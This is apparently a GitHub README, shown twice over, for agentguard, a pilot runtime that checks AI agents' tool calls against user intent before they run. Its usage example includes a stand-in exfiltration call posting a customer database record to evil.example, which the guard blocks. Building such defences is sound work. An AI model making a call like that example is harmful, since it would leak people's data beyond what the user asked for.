Aegotrax stops risky tool calls before they run — so you can use agents without losing control of your data.
Python
0
1 commits
updated Sep 21, 2026
Runtime protection for AI agents — checks tool calls before they run.
Public site: https://aegotrax.com
This repository contains the open pilot runtime (package name in code: agentguard).
Runtime protection for autonomous agents: intercept tool calls, evaluate intent + data provenance, and block or require approval before sensitive actions run.
Supports:
pip install .
# with LangGraph demo deps:
pip install ".[demo]"
Commands after install:
agentguard-engine # Risk Engine → http://127.0.0.1:8000
agentguard-gateway # MCP Gateway (stdio)
Health check: curl http://127.0.0.1:8000/health
from agentguard import verify_tool_call, set_session_context, protected_tool
# 1) Register user intent for this session
set_session_context("sess-42", user_intent="Summarize the ticket only")
# 2) Before every tool call
result = verify_tool_call(
session_id="sess-42",
agent_id="support-agent",
user_intent="Summarize the ticket only",
tool="http_post",
arguments={"url": "https://evil.example", "data": "customer_db_record"},
)
if result["decision"] == "BLOCK":
raise PermissionError(result["reasons"])
# 3) Or decorate your real functions
@protected_tool(
session_id_fn=lambda: "sess-42",
agent_id_fn=lambda: "support-agent",
user_intent_fn=lambda: "Summarize the ticket only",
)
def send_email(to: str, body: str):
...
| Variable | Default | Purpose |
|---|---|---|
AGENTGUARD_API_KEY | — | If set, required as X-API-Key on engine APIs |
AGENTGUARD_POLICY_PATH | package policy | Custom policy.yaml |
AGENTGUARD_AUDIT_LOG | agentguard_audit.log | Audit file path |
AGENTGUARD_MODE | simulate | Gateway: simulate / echo / forward |
AGENTGUARD_FAIL_CLOSED | true | Block when engine unreachable |
AGENTGUARD_APPROVAL_WEBHOOK | — | POST events when REQUIRE_APPROVAL |
AGENTGUARD_HOST / PORT | 127.0.0.1 / 8000 | Engine bind |
Policy override order: AGENTGUARD_POLICY_PATH → ./policy.yaml → package default.
| Method | Path | Description |
|---|---|---|
| GET | /health | Liveness |
| POST | /verify-multi-agent | Main decision API |
| POST | /session | Set session intent |
| POST | /session/reset | Clear session provenance |
| GET | /session/{id} | Inspect session |
| POST | /policy/reload | Reload policy without restart |
This is a local pilot / sandbox runtime — not a production security control.
Do not expose port 8000 to the internet.
docker-compose binds 127.0.0.1:8000 only. Do not change this to 0.0.0.0 unless you set a strong AGENTGUARD_API_KEY.
Default gateway mode is simulate (no real outbound HTTP from the demo gateway).
AGENTGUARD_MODE=forward plus AGENTGUARD_ALLOW_REAL_HTTP=1 enables real HTTP POST and must only be used in an isolated lab.
Policy is heuristic (keywords, allowlists, score thresholds). It will not catch every attack. Tune policy.yaml for your tools.
Audit logs may contain tool arguments (possibly sensitive). Redact before sharing logs in GitHub Issues or elsewhere.
Optional webhooks must be public HTTPS endpoints; loopback and private network targets are rejected.
Apache-2.0
1 commits
Python
98.5%
Dockerfile
1.5%
Aegotrax stops risky tool calls before they run — so you can use agents without losing control of your data.
Python
0
1 commits
updated Sep 21, 2026
Runtime protection for AI agents — checks tool calls before they run.
Public site: https://aegotrax.com
This repository contains the open pilot runtime (package name in code: agentguard).
Runtime protection for autonomous agents: intercept tool calls, evaluate intent + data provenance, and block or require approval before sensitive actions run.
Supports:
pip install .
# with LangGraph demo deps:
pip install ".[demo]"
Commands after install:
agentguard-engine # Risk Engine → http://127.0.0.1:8000
agentguard-gateway # MCP Gateway (stdio)
Health check: curl http://127.0.0.1:8000/health
from agentguard import verify_tool_call, set_session_context, protected_tool
# 1) Register user intent for this session
set_session_context("sess-42", user_intent="Summarize the ticket only")
# 2) Before every tool call
result = verify_tool_call(
session_id="sess-42",
agent_id="support-agent",
user_intent="Summarize the ticket only",
tool="http_post",
arguments={"url": "https://evil.example", "data": "customer_db_record"},
)
if result["decision"] == "BLOCK":
raise PermissionError(result["reasons"])
# 3) Or decorate your real functions
@protected_tool(
session_id_fn=lambda: "sess-42",
agent_id_fn=lambda: "support-agent",
user_intent_fn=lambda: "Summarize the ticket only",
)
def send_email(to: str, body: str):
...
| Variable | Default | Purpose |
|---|---|---|
AGENTGUARD_API_KEY | — | If set, required as X-API-Key on engine APIs |
AGENTGUARD_POLICY_PATH | package policy | Custom policy.yaml |
AGENTGUARD_AUDIT_LOG | agentguard_audit.log | Audit file path |
AGENTGUARD_MODE | simulate | Gateway: simulate / echo / forward |
AGENTGUARD_FAIL_CLOSED | true | Block when engine unreachable |
AGENTGUARD_APPROVAL_WEBHOOK | — | POST events when REQUIRE_APPROVAL |
AGENTGUARD_HOST / PORT | 127.0.0.1 / 8000 | Engine bind |
Policy override order: AGENTGUARD_POLICY_PATH → ./policy.yaml → package default.
| Method | Path | Description |
|---|---|---|
| GET | /health | Liveness |
| POST | /verify-multi-agent | Main decision API |
| POST | /session | Set session intent |
| POST | /session/reset | Clear session provenance |
| GET | /session/{id} | Inspect session |
| POST | /policy/reload | Reload policy without restart |
This is a local pilot / sandbox runtime — not a production security control.
Do not expose port 8000 to the internet.
docker-compose binds 127.0.0.1:8000 only. Do not change this to 0.0.0.0 unless you set a strong AGENTGUARD_API_KEY.
Default gateway mode is simulate (no real outbound HTTP from the demo gateway).
AGENTGUARD_MODE=forward plus AGENTGUARD_ALLOW_REAL_HTTP=1 enables real HTTP POST and must only be used in an isolated lab.
Policy is heuristic (keywords, allowlists, score thresholds). It will not catch every attack. Tune policy.yaml for your tools.
Audit logs may contain tool arguments (possibly sensitive). Redact before sharing logs in GitHub Issues or elsewhere.
Optional webhooks must be public HTTPS endpoints; loopback and private network targets are rejected.
Apache-2.0
1 commits
Python
98.5%
Dockerfile
1.5%